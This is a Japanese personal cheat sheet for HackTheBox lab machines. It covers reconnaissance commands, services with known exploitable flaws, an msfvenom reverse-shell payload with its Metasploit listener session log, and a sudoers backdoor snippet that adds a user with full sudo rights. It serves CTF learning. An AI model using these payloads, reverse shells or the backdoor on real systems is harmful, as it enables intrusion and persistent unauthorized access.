HackTheBoxチートシート

攻略したマシンをもとに、いろいろ書いていくつもり

段階別対応

偵察(search)

とりあえずこれ使う
TARGET=<IP>
rustscan -b 1000 ${TARGET} > rustscan.txt
gobuster dir -e -u ${TARGET} --wildcard  -w /usr/share/wordlists/dirb/common.txt > gobuster.txt
使用ツール

nmap
空いてるポート・サービス確認

nmap -sC -sV -Pn XX.XX.XX.XX
nmap -p 1-65535 XX.XX.XX.XX

絞ったのち
nmap -pXX,YY,ZZ -A XX.XX.XX.XX

/etc/hostsに入れるのもあり

rustscan
nmapを高速化したもの、ポート特定までやってnmapに引き渡し
まだ使い始め

rustscan -b 1000 10.10.10.197

nikto
webサービスについて、ディレクトリ探査や脆弱性を確認できる

nikto 

dirb
webサービスについて、ディレクトリ探査が可能、ネストも調べてくれる

dirb 

gobuster
dirbと同様に、ディレクトリ総当たり
高速だがdirbと違って奥まで探査しない?
まだ使いはじめ

gobuster dir -e -u http://10.10.10.197:8080/ --wildcard  -w /usr/share/wordlists/dirb/common.txt

足がかり(Initial footprint)

実績ありポート

21/TCP:FTP
 接続して、適当なユーザで試す+anonymousユーザ接続もあり
 接続成功後はリバースシェル等モジュールを送り込める

 msfvenomを用いたペイロード作成+Metasploitによるリバースシェル接続

21/tcp:ftp vsftpd 2.3.4
 →vsftpd 2.3.4 - Backdoor Command Executionの脆弱性あり

445/TCP:microsoft-ds
 MS08-057脆弱性あり


139/tcp:netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp:netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution の脆弱性あり

着目すべきポート

80/TCP:HTTP, 443/TCP:HTTPS
 ->各ページにある脆弱性を使える

135/TCP:MSRPC, 139/TCP:NetBios-SSN, 445/TCP:Microsoft-DS
 ->Eternal Blueなどが使える

21/TCP:FTP
 ->anonymousユーザなどでファイルの中身を見たり、アップロードしたりできる

22/TCP:SSH
 ->BruteForceにより突破できるかも

389, 636:LDAP
 ->ActiveDirectoryに関する脆弱性があるかも

その他ポート

22/tcp:ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
23/tcp :telnet Linux telnetd
25/tcp :smtp Postfix smtpd
53/tcp :domain ISC BIND 9.7.0-P1
80/tcp :http Apache httpd 2.2.14 *1
80/tcp :http Apache httpd 2.0.52 *2
110/tcp:pop3 Dovecot pop3d
111/tcp:rpcbind 2 (RPC #100000)
139/tcp:netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp:imap Dovecot imapd
389/tcp:ldap OpenLDAP 2.2.X - 2.3.X
443/tcp:ssl/https?
445/tcp:netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp:exec netkit-rsh rexecd
513/tcp:login?
514/tcp:tcpwrapped
631/tcp:ipp CUPS 1.1
784/tcp:status 1 (RPC #100024)
901/tcp:http Samba SWAT administration server
993/tcp:ssl/imaps?
995/tcp:ssl/pop3s?
2000/tcp:sieve Dovecot timsieved
2049/tcp:nfs 2-4 (RPC #100003)
3306/tcp:mysql MySQL 5.1.73-0ubuntu0.10.04.1
3306/tcp:mysql MySQL (unauthorized)
3632/tcp:tcpwrapped
3632/tcp:distccd distccd v1 *3
6667/tcp:irc IRCnet ircd
8070/tcp:ucs-isc?
8080/tcp:http Apache Tomcat/Coyote JSP engine 1.1
10000/tcp:http MiniServ 0.01 (Webmin httpd)

一般権限奪取(user level privilege)

フォルダあさり

権限昇格を狙って探索を行うと、以下のファイルにOSの情報が記載されている

 % cat /etc/redhat-release

bash-3.00$ cat redhat-release
CentOS release 4.5 (Final)

meterpreterによるexploit確認

セッションを残した状態で、実行

msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

msf5 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf5 post(multi/recon/local_exploit_suggester) > run 

[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 30 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
msf5 post(multi/recon/local_exploit_suggester) > 

特権昇格(privilege escalation)

※時間つくって下記内容を記載すること!!!
 1.Sudoを確認する
    Sudo -l

 2.SUID Bitを確認する
 

 3.Kernel Exploitを利用する


 4.Path Variable
    これはちょっと読み込んでないのでわからない、追加で確認が必要
 
 5.Enumeration

 6.MySQLを確認する

 7.Crontabを利用する

 8.Wildcard Injectionを利用する

 9.Capabilitiesを確認する

 10.etc/passwdファイルを確認する

 11.root権限で書き込めるファイルやスクリプトがないか確認する

 12.バッファーオーバーフロー


 13.Docker

ツールについて

msfvenom

各種ペイロード等作成できる
リバースシェル用のペイロード作成例

kali@kali:~/SyachinekoLab/workspace/HTB/Devel$ msfvenom -p windows/meterpreter/reverse_tcp -f aspx -o devel.aspx LHOST=10.10.14.9 LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of aspx file: 2834 bytes
Saved as: devel.aspx
metasploit

exploitツール

metapreterによるリバースシェル接続の例

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set LHOST 10.10.14.9
LHOST => 10.10.14.9
msf5 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.9:1234 
[*] Sending stage (180291 bytes) to 10.10.10.5
[*] Meterpreter session 2 opened (10.10.14.9:1234 -> 10.10.10.5:49163) at 2020-06-26 09:56:55 -0400

meterpreter > 

セッションをbackgroundコマンドで保持し、確認できる

meterpreter > background
[*] Backgrounding session 3...
msf5 exploit(multi/handler) > show sessions

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  3         meterpreter x86/windows  IIS APPPOOL\Web @ DEVEL  10.10.14.9:1234 -> 10.10.10.5:49157 (10.10.10.5)
meterpreter

専用シェル
コマンド色々

meterpreter > search -f user.txt # user.txtを走査(完全一致)
meterpreter > shell #有用なshellで起動
meterpreter > background # metasploitに戻る(set session 1など指定できる)

exploit済

windows/local/ms10_015_kitrap0d
windows/smb/ms08_067_netapi
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | exploits/unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | exploits/linux/remote/7701.txt
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | exploits/unix/remote/17491.rb

その他

sudoers書き換え
useradd test
passwd test
echo "test ALL=(ALL) ALL " >> /etc/sudoers
# これでsshができればバックドアとなる
フォルダ構成

Linux
 ユーザ:
 管理者:/home/

Windows
 ユーザ:c:\Users\XXX\Desktop

 管理者:c:\Users\Administrator\Desktop
     C:\Documents and Settings\Administrator\Desktop

攻略済マシンメモ

Lame
Legacy
Devel
Beep
Optimum

未攻略マシンメモ

Remote
Magic
Admirer
Blunder
SneakyMailer
Traceback

*1:Ubuntu

*2:CentOS

*3:GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4